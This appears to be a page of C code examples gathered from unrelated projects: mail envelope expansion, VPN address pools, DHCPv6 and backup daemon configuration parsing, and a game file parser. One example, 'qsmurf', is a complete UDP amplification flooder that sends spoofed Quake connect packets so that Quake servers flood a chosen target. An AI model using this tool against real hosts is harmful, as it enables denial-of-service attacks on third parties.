                            e_addr->e_addr_env_moderated->e_id, rcpt->r_rcpt,
                            e_addr->e_addr_env_moderated->e_mail,
                            unexpanded_env->e_mail );
                }

            }
            syslog( LOG_INFO,
                    "Expand env <%s>: %s: Expanded %d moderators",
                    unexpanded_env->e_id, e_addr->e_addr_env_moderated->e_id,
                    n_rcpts );

            if ( env_outfile( e_addr->e_addr_env_moderated ) != 0 ) {
                /* env_outfile syslogs errors */
                if ( unlink( d_out ) != 0 ) {
                    syslog( LOG_ERR, "expand unlink %s: %m", d_out );
                }
                goto cleanup3;
            }
            env_out++;
            queue_envelope( e_addr->e_addr_env_moderated );
            continue;

        } else if ( e_addr->e_addr_ldap_flags & STATUS_LDAP_SUPPRESSOR ) {
            for ( parent = e_addr->e_addr_parents; parent != NULL;
                    parent = parent->el_next ) {
                if ( parent->el_exp_addr == NULL ) {
                    if ( bounce_text( base_error_env, TEXT_ERROR,
                            "Members only group conditions not met: ",
                            e_addr->e_addr, NULL ) != 0 ) {
                        goto cleanup3;
                    }

                    if ( bounce_text( base_error_env, TEXT_ERROR,
            "If you have any questions, please contact the group owner: ",
                            e_addr->e_addr_owner, NULL ) != 0 ) {
                        goto cleanup3;
                    }

                } else if (( e_addr->e_addr_ldap_flags &
                        STATUS_LDAP_PRIVATE ) == 0 ) {
                    if ( bounce_text( parent->el_exp_addr->e_addr_errors,
                            TEXT_ERROR,
                            "Members only group conditions not met: ",
                            e_addr->e_addr, NULL ) != 0 ) {
                        goto cleanup3;
                    }

                    if ( bounce_text( parent->el_exp_addr->e_addr_errors,
                            TEXT_ERROR,
            "If you have any questions, please contact the group owner: ",
                            e_addr->e_addr_owner, NULL ) != 0 ) {
                        goto cleanup3;
                    }
                }
            }

            continue;
        }
#endif /* HAVE_LDAP */

        if ( e_addr->e_addr_terminal == 0 ) {
            if ( simta_expand_debug != 0 ) {
                printf( "Non-terminal: %s\n", e_addr->e_addr );
            }
            /* not a terminal expansion, do not add */
            continue;
        }

        if ( simta_expand_debug != 0 ) {
            printf( "Terminal: %s\n", e_addr->e_addr );
        }

        switch ( e_addr->e_addr_type ) {
        case ADDRESS_TYPE_EMAIL:
            if (( domain = strchr( e_addr->e_addr, '@' )) == NULL ) {
                syslog( LOG_ERR, "Expand env <%s>: strchr blivet",
                        unexpanded_env->e_id );
                goto cleanup3;
            }
            domain++;
            env = eo_lookup( host_stab, domain, e_addr->e_addr_from );
            break;

        case ADDRESS_TYPE_DEAD:
            domain = NULL;
            env = env_dead;
            break;

        default:
            panic( "expand: address type out of range" );
        }

        if ( env == NULL ) {
            /* Create envelope and add it to list */
            if (( env = env_create( domain ? simta_dir_fast : simta_dir_dead,
                    NULL, e_addr->e_addr_from, unexpanded_env )) == NULL ) {
                syslog( LOG_ERR, "Expand env <%s>: env_create: %m",
                        unexpanded_env->e_id );
                goto cleanup3;
            }

            simta_debuglog( 2, "Expand env <%s>: %s: expansion env dinode %d",
                    unexpanded_env->e_id, env->e_id, (int)env->e_dinode );

            /* fill in env */
            env->e_attributes = unexpanded_env->e_attributes;
            if ( domain != NULL ) {
                if ( env_hostname( env, domain ) != 0 ) {
                    env_free( env );
                    goto cleanup3;
                }
            } else {
                env_dead = env;
            }

            /* Add env to host_stab */
            if ( eo_insert( &host_stab, env ) != 0 ) {
                syslog( LOG_ERR, "Expand env <%s>: eo_insert %s failed: %m",
                        unexpanded_env->e_id, env->e_id );
                env_free( env );
                goto cleanup3;
            }
        }

        if ( env_recipient( env, e_addr->e_addr ) != 0 ) {
            goto cleanup3;
        }

        syslog( LOG_NOTICE,
                "Expand env <%s>: %s: recipient <%s> added to env for host %s",
                unexpanded_env->e_id, env->e_id, e_addr->e_addr,
                env->e_hostname ? env->e_hostname : "NULL" );
    }

    /* Write out all expanded envelopes and place them in to the host_q */
    for ( eo = host_stab; eo != NULL; eo = eo->eo_next ) {
        env = eo->eo_env;

        if ( simta_expand_debug == 0 ) {
            sprintf( d_out, "%s/D%s", env->e_dir, env->e_id );

            /* RFC 5321 4.4 Trace Information
             * When the delivery SMTP server makes the "final delivery" of a
             * message, it inserts a return-path line at the beginning of the
             * mail data.  This use of return-path is required; mail systems
             * MUST support it.  The return-path line preserves the
             * information in the <reverse-path> from the MAIL command.
             * Here, final delivery means the message has left the SMTP
             * environment.
             */
            if ((( hq_red = red_host_lookup( eo->eo_hostname )) != NULL ) &&
                    ( hq_red->red_deliver_type == RED_DELIVER_BINARY )) {
                if ( snprintf( header, 270,
                        "Return-Path: <%s>", env->e_mail ) >= 270 ) {
                    syslog( LOG_ERR,
                            "Expand env <%s>: %s: return path is too large",
                            unexpanded_env->e_id, env->e_id );
                }
                if ( env_dfile_copy( env, d_original, header ) == 0 ) {
                    syslog( LOG_ERR, "Expand env <%s>: %s: env_dfile_copy failed",
                            unexpanded_env->e_id, env->e_id );
                    goto cleanup4;
                }
            } else {
                /* Dfile: link Dold_id env->e_dir/Dnew_id */
                if ( link( d_original, d_out ) != 0 ) {
                    syslog( LOG_ERR, "Syserror: expand link %s %s: %m",
                            d_original, d_out );
                    goto cleanup4;
                }
            }

            sendermatch = !strcasecmp( unexpanded_env->e_mail, env->e_mail );

            n_rcpts = 0;
            for ( rcpt = env->e_rcpt; rcpt != NULL; rcpt = rcpt->r_next ) {
                n_rcpts++;
                if ( sendermatch ) {
                    syslog( LOG_INFO, "Expand env <%s>: %s: To <%s> From <%s>",
                            unexpanded_env->e_id, env->e_id, rcpt->r_rcpt,
                            env->e_mail );
                } else {
                    syslog( LOG_INFO,
                            "Expand env <%s>: %s: To <%s> From <%s> (%s)",
                            unexpanded_env->e_id, env->e_id, rcpt->r_rcpt,
                            env->e_mail, unexpanded_env->e_mail );
                }
            }

            syslog( LOG_INFO,
                    "Expand env <%s>: %s: Expanded %d recipients",
                    unexpanded_env->e_id, env->e_id, n_rcpts );

            /* Efile: write env->e_dir/Enew_id for all recipients at host */
            syslog( LOG_NOTICE, "Expand env <%s>: %s: writing Efile for %s",
                    unexpanded_env->e_id, env->e_id,
                    env->e_hostname ? env->e_hostname : "NULL" );
            if ( env_outfile( env ) != 0 ) {
                /* env_outfile syslogs errors */
                if ( unlink( d_out ) != 0 ) {
                    syslog( LOG_ERR, "Syserror: expand unlink %s: %m", d_out );
                }
                goto cleanup4;
            }

            env_out++;
            queue_envelope( env );

        } else {
            printf( "\n" );
            env_stdout( env );
        }
    }

    if ( env_out == 0 ) {
        syslog( LOG_NOTICE, "Expand env <%s>: no terminal recipients, "
                "deleting message", unexpanded_env->e_id );
    }

    /* write errors out to disk */
    env_p = &(exp.exp_errors);
    while (( env = *env_p ) != NULL ) {
        if ( simta_expand_debug == 0 ) {
            if ( env->e_error != 0 ) {
                env_p = &(env->e_next);

                if ( snet == NULL ) {
                    if (( snet = snet_open( d_original, O_RDONLY, 0,
                            1024 * 1024 )) == NULL ) {
                        syslog( LOG_ERR, "Liberror: expand snet_open %s: %m",
                                d_original );
                        goto cleanup5;
                    }
                } else {
                    if ( lseek( snet_fd( snet ), (off_t)0, SEEK_SET ) != 0 ) {
                        syslog( LOG_ERR, "Syserror: q_deliver lseek: %m" );
                        panic( "q_deliver lseek fail" );
                    }
                }

                /* write out error text, get Dfile inode */
                if ( bounce_dfile_out( env, snet ) == 0 ) {
                    if ( snet != NULL ) {
                        if ( snet_close( snet ) != 0 ) {
                            syslog( LOG_ERR,
                                    "Liberror: expand snet_close %s: %m",
                                    d_original );
                        }
                    }

                    goto cleanup5;
                }

                simta_debuglog( 2, "Expand env <%s>: %s: errors env dinode %d",
                        unexpanded_env->e_id, env->e_id, (int)env->e_dinode );

                line_file_free( env->e_err_text );
                env->e_err_text = NULL;
                env->e_error = 0;

                if ( env_outfile( env ) != 0 ) {
                    /* env_outfile syslogs errors */
                    sprintf( d_out, "%s/D%s", env->e_dir, env->e_id );
                    if ( unlink( d_out ) != 0 ) {
                        syslog( LOG_ERR, "Syserror: expand unlink %s: %m",
                                d_out );
                    }
                    goto cleanup5;
                }

                sendermatch = !strcasecmp( unexpanded_env->e_mail,
                        env->e_mail );

                n_rcpts = 0;
                for ( rcpt = env->e_rcpt; rcpt != NULL; rcpt = rcpt->r_next ) {
                    n_rcpts++;
                    if ( sendermatch ) {
                        syslog( LOG_INFO,
                                "Expand env <%s>: %s: To <%s> From <%s>",
                                unexpanded_env->e_id, env->e_id, rcpt->r_rcpt,
                                env->e_mail );
                    } else {
                        syslog( LOG_INFO,
                                "Expand env <%s>: %s: To <%s> From <%s> (%s)",
                                unexpanded_env->e_id, env->e_id, rcpt->r_rcpt,
                                env->e_mail, unexpanded_env->e_mail );
                    }
                }

                syslog( LOG_NOTICE, "Expand env <%s>: %s: Expanded %d bounces",
                        unexpanded_env->e_id, env->e_id, n_rcpts );

                queue_envelope( env );

            } else {
                *env_p = env->e_next;
                env_free( env );
            }

        } else {
            *env_p = env->e_next;
            bounce_stdout( env );
            env_free( env );
        }
    }

    if ( snet != NULL ) {
        if ( snet_close( snet ) != 0 ) {
            syslog( LOG_ERR, "Liberror: expand snet_close %s: %m", d_original );
            sprintf( d_out, "%s/D%s", env->e_dir, env->e_id );
            if ( unlink( d_out ) != 0 ) {
                syslog( LOG_ERR, "Syserror: expand unlink %s: %m", d_out );
            }
            goto cleanup5;
        }
        snet = NULL;
    }

    syslog( LOG_INFO, "Expand env <%s>: Metric %d entries %d levels",
            unexpanded_env->e_id, exp.exp_entries, exp.exp_max_level );

    if ( simta_expand_debug != 0 ) {
        return_value = 0;
        goto cleanup2;
    }

    if ( utime( d_original, NULL ) != 0 ) {
        syslog( LOG_ERR, "Syserror: expand utime %s: %m", d_original );
        goto cleanup5;
    }

    if ( unexpanded_env->e_dir != simta_dir_fast ) {
        /* truncate orignal Efile */
        sprintf( e_original, "%s/E%s", unexpanded_env->e_dir,
                unexpanded_env->e_id );

        if ( truncate( e_original, (off_t)0 ) != 0 ) {
            syslog( LOG_ERR, "Syserror: expand truncate %s: %m", e_original );
            goto cleanup5;
        }
    }

    /* delete original message */
    if ( env_unlink( unexpanded_env ) != 0 ) {
        syslog( LOG_ERR,
                "Expand env <%s>: Expansion complete, can't delete message",
                unexpanded_env->e_id );
    } else {
        syslog( LOG_INFO,
                "Expand env <%s>: Expansion complete, message deleted",
                unexpanded_env->e_id );
    }

    return_value = 0;
    goto cleanup2;

cleanup5:
    cleanup_envelope_list( &exp.exp_errors );
#ifdef HAVE_LDAP
    cleanup_envelope_list( &exp.exp_gmailfwding );
#endif /* HAVE_LDAP */

cleanup4:
    for ( eo = host_stab; eo != NULL; eo = eo->eo_next ) {
        env = eo->eo_env;
        eo->eo_env = NULL;

        if (( env->e_flags & ENV_FLAG_EFILE ) != 0 ) {
            queue_remove_envelope( env );
            if ( env_unlink( env ) == 0 ) {
                syslog( LOG_WARNING, "Expand env <%s>: Message Deleted: "
                        "System error, unwinding expansion", env->e_id );
            } else {
                syslog( LOG_ERR, "Expand env <%s>: "
                        "System error, can't unwind expansion", env->e_id );
            }
        }

        env_free( env );
    }

cleanup3:
#ifdef HAVE_LDAP
    for ( memonly = exp.exp_memonly; memonly != NULL;
            memonly = memonly->el_next ) {
        if (( memonly->el_exp_addr->e_addr_env_moderated != NULL ) &&
                (( memonly->el_exp_addr->e_addr_env_moderated->e_flags &
                ENV_FLAG_EFILE ) != 0 )) {
            env_unlink( memonly->el_exp_addr->e_addr_env_moderated );
            env_free( memonly->el_exp_addr->e_addr_env_moderated );
            memonly->el_exp_addr->e_addr_env_moderated = NULL;
        }
    }
#endif /* HAVE_LDAP */

    if ( simta_fast_files != fast_file_start ) {
        syslog( LOG_ERR, "Expand env <%s>: could not unwind expansion",
                unexpanded_env->e_id );
        return_value = 1;
    }

cleanup2:
    /* free host_stab */
    eo = host_stab;
    while ( eo != NULL ) {
        eo_free = eo;
        eo = eo->eo_next;
        free( eo_free );
    }

cleanup1:
#ifdef HAVE_LDAP
    exp_addr_link_free( exp.exp_memonly );
#endif /* HAVE_LDAP */

    /* free the expansion list */
    for ( e_addr = exp.exp_addr_head; e_addr != NULL; e_addr = next_e_addr ) {
        next_e_addr = e_addr->e_addr_next;

#ifdef HAVE_LDAP
        exp_addr_link_free( e_addr->e_addr_parents );
        exp_addr_link_free( e_addr->e_addr_children );
        permitted_destroy( e_addr );
        if (( e_addr->e_addr_env_moderated != NULL ) &&
                (( e_addr->e_addr_env_moderated->e_flags &
                ENV_FLAG_EFILE ) == 0 )) {
            env_free( e_addr->e_addr_env_moderated );
        }

        if ( e_addr->e_addr_owner ) {
            free( e_addr->e_addr_owner );
        }

        if ( e_addr->e_addr_dn ) {
            free( e_addr->e_addr_dn );
        }
#endif

        free( e_addr->e_addr );
        free( e_addr->e_addr_from );
        free( e_addr );
    }

done:
    if ( return_value != 0 ) {
        syslog( LOG_ERR, "Expand env <%s>: Expansion failed",
                unexpanded_env->e_id );
    }

    return( return_value );
}
Пример #18
0
static void add_addresses(char *pool, char *path, int timeout)
{
	u_int pool_id, count = 0;
	int family = AF_UNSPEC;
	char address_str[512];
	host_t *addr;
	FILE *file;

	db->transaction(db, FALSE);

	addr = host_create_from_string("%any", 0);
	pool_id = create_pool(pool, addr->get_address(addr),
						  addr->get_address(addr), timeout);
	addr->destroy(addr);

	file = (strcmp(path, "-") == 0 ? stdin : fopen(path, "r"));
	if (file == NULL)
	{
		fprintf(stderr, "opening '%s' failed: %s\n", path, strerror(errno));
		exit(-1);
	}

	printf("starting allocation... ");
	fflush(stdout);

	while (fgets(address_str, sizeof(address_str), file))
	{
		size_t addr_len = strlen(address_str);
		char *last_chr = address_str + addr_len - 1;
		if (*last_chr == '\n')
		{
			if (addr_len == 1)
			{	/* end of input */
				break;
			}
			*last_chr = '\0';
		}
		if (add_address(pool_id, address_str, &family) == FALSE)
		{
			if (file != stdin)
			{
				fclose(file);
			}
			exit(EXIT_FAILURE);
		}
		++count;
	}

	if (file != stdin)
	{
		fclose(file);
	}

	if (family == AF_INET6)
	{	/* update address family if necessary */
		addr = host_create_from_string("%any6", 0);
		if (db->execute(db, NULL,
					"UPDATE pools SET start = ?, end = ? WHERE id = ?",
					DB_BLOB, addr->get_address(addr),
					DB_BLOB, addr->get_address(addr), DB_UINT, pool_id) <= 0)
		{
			addr->destroy(addr);
			fprintf(stderr, "updating pool address family failed.\n");
			exit(EXIT_FAILURE);
		}
		addr->destroy(addr);
	}

	db->commit(db);

	printf("%d addresses done.\n", count);
}
Пример #19
0
int main( int argc, char **argv )
{
  int x = 1;
  int source_port, delay, fd;
  unsigned int ip;
  struct sockaddr_in *p;
  struct hostent *he;
  struct node *current;
  char *temp;

  u_char thePACKET[41]=
  {
    0x45,                       /* IP version, header len */
    0x00,                       /* IP diff services field */
    0x00, 0x29,                 /* IP total length */
    0xc2, 0xb5,                 /* IP id */
    0x00, 0x00,                 /* IP fragment offset */
    0x80,                       /* IP TTL */
    0x11,                       /* IP protocol */
    0, 0,                       /* IP header checksum */
    0, 0, 0, 0,                 /* IP src */
    0, 0, 0, 0,                 /* IP dest */
    0x00, 0x00,                 /* UDP src port */
    0, 0,                       /* UDP dest port */
    0x00, 0x15,                 /* length = 21 */
    0x00, 0x00,                 /* UDP checksum */
    0x80, 0x00,                 /* Quake flags */
    0x00, 0x0d,                 /* Quake length */
    0x01,                       /* Quake command = connect */
    0x51, 0x55, 0x41, 0x4b,     /* Quake game = QUAKE */
    0x45, 0x00,
    0x03, 0x01                  /* Quake version = 3 */
  };

  if( argc != 5 )
  {
    fprintf( stderr, "\nqsmurf - floods targets with amplified UDP packets using the NetQuake protocol\n" );
    fprintf( stderr, "\tWritten by Jamal Motsa (Haul@EFnet)\n" );
    fprintf( stderr, "\tUsage: %s <servers> <src> <server_port> <delay>\n", *argv );
    fprintf( stderr, "\t\tservers = comma-delimited list of IP Address/hostnames of Quake servers\n" );
    fprintf( stderr, "\t\tsrc = IP Address/hostname of target\n" );
    fprintf( stderr, "\t\tserver_port = Quake server port\n" );
    fprintf( stderr, "\t\tdelay = delay between connection requests (in usec, 0 for no delay)\n" );
    fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 50000\n\n", argv[0] );
    exit( 0 );
  }

  srand( time( NULL ));
  delay = atoi( argv[4] );

  /* build a linked list of addresses entered on command line */
  temp = strtok( argv[1], "," );
  add_address( &head, temp );

  signal( SIGINT, sig_handler );

  tail = head;

  temp = strtok( NULL, "," );
  while( temp != NULL )
  {
    add_address( &(tail->next), temp );
    tail = tail->next;
    temp = strtok( NULL, "," );
  }

  current = head;

  if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
  {
    perror( "Can't create raw socket (you must run as root)" );
    exit( 0 );
  }

  if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 )
  {
    perror( "setsockopt IP_HDRINCL error" );
    exit( 0 );
  }

  if( ( he = gethostbyname( argv[2]) ) == NULL )
  {
    fprintf( stderr, "Can't resolve src\n" );
    exit( 0 );
  }

  bcopy( *( he->h_addr_list ), &ip, 4 );


  while( 1 )
  {
    while( current != NULL )
    {
      bcopy( &ip, ( thePACKET + 16 ), 4 );
      bcopy( &(current->ip), ( thePACKET + 16 ), 4 );

      source_port = rand() % 3976 + 1024;

      *(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
      *(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));

      p = ( struct sockaddr_in* ) &sa;
      p->sin_family = AF_INET;
      bcopy( &current->ip, &(p->sin_addr), 4 );

      if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
      {
        perror( "sendto error" );
        exit( 0 );
      }

      printf( "Quake connection request sent from %s:%i to %s:%s\n", argv[2], source_port, current->address,
argv[3] );

      if( delay > 0 ) usleep( delay );
      current = current->next;
    }
    current = head;
  }
  exit( 1 );
}
Пример #20
0
static __inline void read_hot_track(uint8_t * Data, size_t Size, addresslist_t * AddressList){
    if(Size < 28) return;

    while(memcmp(Data, "[Track]", 7)){
        if(Size < 29) return;
        Data++; Size--;
    }

    Data += 8;
    Size -= 8;
    if(*Data == '\n'){
        Data++; Size--;
    }

    while(1){
        uint8_t * IDPos = Data, * Name;
        address_t * Address;
        uint32_t TrackID;

        /* End of key: Track ID */
        while(*Data != '='){
            if(Size < 20) return;
            Data++; Size--;
        }
        *Data = '\0';
        TrackID = strtol((char*)IDPos, NULL, 0);
        Data++; Size--;

        /* End of first field: Unknown */
        while(*Data != ','){
            if(Size < 18) return;
            Data++; Size--;
        }
        Data++; Size--;
        Name = Data;

        /* End of second field: Name */
        while(*Data != ','){
            if(Size < 16) return;
            Data++; Size--;
        }
        *Data = '\0';

        Address = find_address_by_name(AddressList, (char*)Name);
        if(!Address){
            Address = find_address_by_track_id(AddressList, TrackID);
            if(!Address){
                Address = add_address(AddressList);
                Address->TrackID = TrackID;
            }
            Address->Name = (char*)Name;
        } else Address->TrackID = TrackID;
        Address->Exported = 1;

        if(Size < 36) return;
        while(*Data == '\r' || *Data == '\n' || *Data == ' ' || *Data == '\t'){
            if(Size < 22) return;
            Data++; Size--;
        }

        if(*Data == '[') return;
    }
}
Пример #21
0
int
configure_interface(const struct cf_namelist *iflist)
{
	const struct cf_namelist *ifp;
	struct dhcp6_ifconf *ifc;

	for (ifp = iflist; ifp; ifp = ifp->next) {
		struct cf_list *cfl;

		if ((ifc = malloc(sizeof(*ifc))) == NULL) {
			dprintf(LOG_ERR, "%s"
				"memory allocation for %s failed", FNAME,
				ifp->name);
			goto bad;
		}
		memset(ifc, 0, sizeof(*ifc));
		ifc->next = dhcp6_ifconflist;
		dhcp6_ifconflist = ifc;

		if ((ifc->ifname = strdup(ifp->name)) == NULL) {
			dprintf(LOG_ERR, "%s" "failed to copy ifname", FNAME);
			goto bad;
		}

		ifc->server_pref = DH6OPT_PREF_UNDEF;
		TAILQ_INIT(&ifc->reqopt_list);
		TAILQ_INIT(&ifc->addr_list);
		TAILQ_INIT(&ifc->option_list);

		for (cfl = ifp->params; cfl; cfl = cfl->next) {
			switch(cfl->type) {
			case DECL_REQUEST:
				if (dhcp6_mode != DHCP6_MODE_CLIENT) {
					dprintf(LOG_INFO, "%s" "%s:%d "
						"client-only configuration",
						FNAME, configfilename,
						cfl->line);
					goto bad;
				}
				if (add_options(DHCPOPTCODE_REQUEST,
						ifc, cfl->list)) {
					goto bad;
				}
				break;
			case DECL_SEND:
				if (add_options(DHCPOPTCODE_SEND,
						ifc, cfl->list)) {
					goto bad;
				}
				break;
			case DECL_ALLOW:
				if (add_options(DHCPOPTCODE_ALLOW,
						ifc, cfl->list)) {
					goto bad;
				}
				break;
			case DECL_INFO_ONLY:
				if (dhcp6_mode == DHCP6_MODE_CLIENT)
                {
					ifc->send_flags |= DHCIFF_INFO_ONLY;
                    /* Foxconn added start pling 09/23/2010 */
                    set_dhcp6c_flags(DHCIFF_INFO_ONLY);
                    /* Foxconn added end pling 09/23/2010 */
                }
				break;
			case DECL_TEMP_ADDR:
				if (dhcp6_mode == DHCP6_MODE_CLIENT)
					ifc->send_flags |= DHCIFF_TEMP_ADDRS;
				break;
			case DECL_PREFERENCE:
				if (dhcp6_mode != DHCP6_MODE_SERVER) {
					dprintf(LOG_INFO, "%s" "%s:%d "
						"server-only configuration",
						FNAME, configfilename,
						cfl->line);
					goto bad;
				}
				ifc->server_pref = (int)cfl->num;
				if (ifc->server_pref < 0 ||
				    ifc->server_pref > 255) {
					dprintf(LOG_INFO, "%s" "%s:%d "
						"bad value: %d", FNAME,
						configfilename, cfl->line,
						ifc->server_pref);
					goto bad;
				}
				break;
			case DECL_IAID:
				if (ifc->iaidinfo.iaid) {
					dprintf(LOG_ERR, "%s" "%s:%d "
						"duplicated IAID for %s",
						FNAME, configfilename,
						cfl->line, ifc->ifname);
					goto bad;
				} else
					ifc->iaidinfo.iaid = (u_int32_t)cfl->num;
				break;
			case DECL_RENEWTIME:
				if (ifc->iaidinfo.renewtime) {
					dprintf(LOG_ERR, "%s" "%s:%d "
						"duplicated renewtime for %s",
						FNAME, configfilename,
						cfl->line, ifc->ifname);
					goto bad;
				} else
					ifc->iaidinfo.renewtime = (u_int32_t)cfl->num;
				break;
			case DECL_REBINDTIME:
				if (ifc->iaidinfo.iaid) {
					dprintf(LOG_ERR, "%s" "%s:%d "
						"duplicated rebindtime for %s",
						FNAME, configfilename,
						cfl->line, ifc->ifname);
					goto bad;
				} else 
					ifc->iaidinfo.rebindtime = (u_int32_t)cfl->num;
				break;
			case DECL_ADDRESS:
				if (add_address(&ifc->addr_list, cfl->ptr)) {
					dprintf(LOG_ERR, "%s" "failed "
						"to configure ipv6address for %s",
						FNAME, ifc->ifname);
					goto bad;
				}
				break;
			case DECL_PREFIX_REQ:
				/* XX: ToDo */
				break;
			case DECL_PREFIX_INFO:
				break;
			case DECL_PREFIX_DELEGATION_INTERFACE:
			        if (add_option(&ifc->option_list, cfl)){
					dprintf(LOG_ERR, "%s failed to configure prefix-delegation-interface for %s",
						FNAME, ifc->ifname);
					goto bad;
				}
				break;
			/* Foxconn added start pling 08/26/2009 */
			/* Add flag to send dhcpv6 solicit only for DHCP client.
			 * Used by IPv6 auto detection.
			 */
			case DECL_SOLICIT_ONLY:
				if (dhcp6_mode == DHCP6_MODE_CLIENT)
				{
					dprintf(LOG_ERR, "Send DHCPC solicit only!");
					ifc->send_flags |= DHCIFF_SOLICIT_ONLY;
				}
				break;
			/* Foxconn added end pling 08/26/2009 */
			/* Foxconn added start pling 09/07/2010 */
			/* Support user-class for DHCP client */
			case DECL_USER_CLASS:
				if (dhcp6_mode == DHCP6_MODE_CLIENT)
				{
				    dprintf(LOG_ERR, "%s assign user_class='%s'", FNAME, user_class);
					if (strlen(user_class))
						strcpy(ifc->user_class, user_class);
					else
						ifc->user_class[0] = '\0';
				}
				break;
			/* Foxconn added end pling 09/07/2010 */
            /* Foxconn added start pling 09/21/2010 */
            /* For DHCPv6 readylogo, need to send IANA and IAPD separately.
             */
            case DECL_IANA_ONLY:
                if (dhcp6_mode == DHCP6_MODE_CLIENT)
                {
                    dprintf(LOG_ERR, "Accept IANA only!");
                    set_dhcp6c_flags(DHCIFF_IANA_ONLY);
                }
                break;
            case DECL_IAPD_ONLY:
                if (dhcp6_mode == DHCP6_MODE_CLIENT)
                {
                    dprintf(LOG_ERR, "Accept IAPD only!");
                    set_dhcp6c_flags(DHCIFF_IAPD_ONLY);
                }
                break;
            /* Foxconn added end pling 09/21/2010 */
            /* Foxconn added start pling 10/07/2010 */
            /* For Testing purposes */
            case DECL_XID_SOL:
                xid_solicit =  (u_int32_t)cfl->num;
                break;
            case DECL_XID_REQ:
                xid_request = (u_int32_t)cfl->num;
                break;
            case DECL_DUID_TIME:
                duid_time = (u_int32_t)cfl->num;
                break;
            /* Foxconn added end pling 10/07/2010 */
			default:
				dprintf(LOG_ERR, "%s" "%s:%d "
					"invalid interface configuration",
					FNAME, configfilename, cfl->line);
				goto bad;
			}
		}
	}
	
	return (0);

  bad:
	clear_ifconf(dhcp6_ifconflist);
	dhcp6_ifconflist = NULL;
	return (-1);
}
Пример #22
0
int
configure_host(const struct cf_namelist *hostlist)
{
	const struct cf_namelist *host;
	struct host_conf *hconf;
	
	for (host = hostlist; host; host = host->next) {
		struct cf_list *cfl;

		if ((hconf = malloc(sizeof(*hconf))) == NULL) {
			dprintf(LOG_ERR, "%s" "memory allocation failed "
				"for host %s", FNAME, host->name);
			goto bad;
		}
		memset(hconf, 0, sizeof(*hconf));
		TAILQ_INIT(&hconf->addr_list);
		TAILQ_INIT(&hconf->addr_binding_list);
		TAILQ_INIT(&hconf->prefix_list);
		TAILQ_INIT(&hconf->prefix_binding_list);
		hconf->next = host_conflist0;
		host_conflist0 = hconf;

		if ((hconf->name = strdup(host->name)) == NULL) {
			dprintf(LOG_ERR, "%s" "failed to copy host name: %s",
				FNAME, host->name);
			goto bad;
		}

		for (cfl = host->params; cfl; cfl = cfl->next) {
			switch(cfl->type) {
			case DECL_DUID:
				if (hconf->duid.duid_id) {
					dprintf(LOG_ERR, "%s" "%s:%d "
						"duplicated DUID for %s",
						FNAME, configfilename,
						cfl->line, host->name);
					goto bad;
				}
				if ((configure_duid((char *)cfl->ptr,
						    &hconf->duid)) != 0) {
					dprintf(LOG_ERR, "%s" "%s:%d "
						"failed to configure "
						"DUID for %s", FNAME,
						configfilename, cfl->line,
						host->name);
					goto bad;
				}
				dprintf(LOG_DEBUG, "%s"
					"configure DUID for %s: %s", FNAME,
					host->name, duidstr(&hconf->duid));
				break;
			case DECL_PREFIX:
				if (add_address(&hconf->prefix_list, cfl->ptr)) {
					dprintf(LOG_ERR, "%s" "failed "
						"to configure prefix for %s",
						FNAME, host->name);
					goto bad;
				}
				break;
			case DECL_IAID:
				if (hconf->iaidinfo.iaid) {
					dprintf(LOG_ERR, "%s" "%s:%d "
						"duplicated IAID for %s",
						FNAME, configfilename,
						cfl->line, host->name);
					goto bad;
				} else
					hconf->iaidinfo.iaid = (u_int32_t)cfl->num;
				break;
			case DECL_RENEWTIME:
				if (hconf->iaidinfo.renewtime) {
					dprintf(LOG_ERR, "%s" "%s:%d "
						"duplicated renewtime for %s",
						FNAME, configfilename,
						cfl->line, host->name);
					goto bad;
				} else
					hconf->iaidinfo.renewtime = (u_int32_t)cfl->num;
				break;
			case DECL_REBINDTIME:
				if (hconf->iaidinfo.rebindtime) {
					dprintf(LOG_ERR, "%s" "%s:%d "
						"duplicated rebindtime for %s",
						FNAME, configfilename,
						cfl->line, host->name);
					goto bad;
				} else 
					hconf->iaidinfo.rebindtime = (u_int32_t)cfl->num;
				break;
			case DECL_ADDRESS:
				if (add_address(&hconf->addr_list, cfl->ptr)) {
					dprintf(LOG_ERR, "%s" "failed "
						"to configure ipv6address for %s",
						FNAME, host->name);
					goto bad;
				}
				break;
			case DECL_LINKLOCAL:
				if (IN6_IS_ADDR_UNSPECIFIED(&hconf->linklocal)) {
					dprintf(LOG_ERR, "%s" "%s:%d "
						"duplicated linklocal for %s",
						FNAME, configfilename,
						cfl->line, host->name);
					goto bad;
				} else 
					memcpy(&hconf->linklocal, cfl->ptr, 
							sizeof(hconf->linklocal) );
				break;
			default:
				dprintf(LOG_ERR, "%s: %d invalid host configuration for %s",
					configfilename, cfl->line, host->name);
				goto bad;
			}
		}
	}

	return (0);

  bad:
	/* there is currently nothing special to recover the error */
	return (-1);
}
Пример #23
0
/*
 * Store network addresses.
 *
 *   my tests
 *   positiv
 *   = { ip = { addr = 1.2.3.4; port = 1205; } ipv4 = { addr = 1.2.3.4; port = http; } }
 *   = { ip = {
 *         addr = 1.2.3.4; port = 1205; }
 *     ipv4 = {
 *         addr = 1.2.3.4; port = http; }
 *     ipv6 = {
 *       addr = 1.2.3.4;
 *       port = 1205;
 *     }
 *     ip = {
 *       addr = 1.2.3.4
 *       port = 1205
 *     }
 *     ip = {
 *       addr = 1.2.3.4
 *     }
 *     ip = {
 *       addr = 2001:220:222::2
 *     }
 *     ip = {
 *       addr = bluedot.thun.net
 (     }
 *   }
 *   negativ
 *   = { ip = { } }
 *   = { ipv4 { addr = doof.nowaytoheavenxyz.uhu; } }
 *   = { ipv4 { port = 4711 } }
 */
void store_addresses(LEX * lc, RES_ITEM * item, int index, int pass)
{
   int token;
   int exist;
   int family = 0;
   char errmsg[1024];
   char port_str[128];
   char hostname_str[1024];
   enum {
      EMPTYLINE = 0x0,
      PORTLINE = 0x1,
      ADDRLINE = 0x2
   } next_line = EMPTYLINE;
   int port = str_to_int32(item->default_value);

   token = lex_get_token(lc, T_SKIP_EOL);
   if (token != T_BOB) {
      scan_err1(lc, _("Expected a block begin { , got: %s"), lc->str);
   }
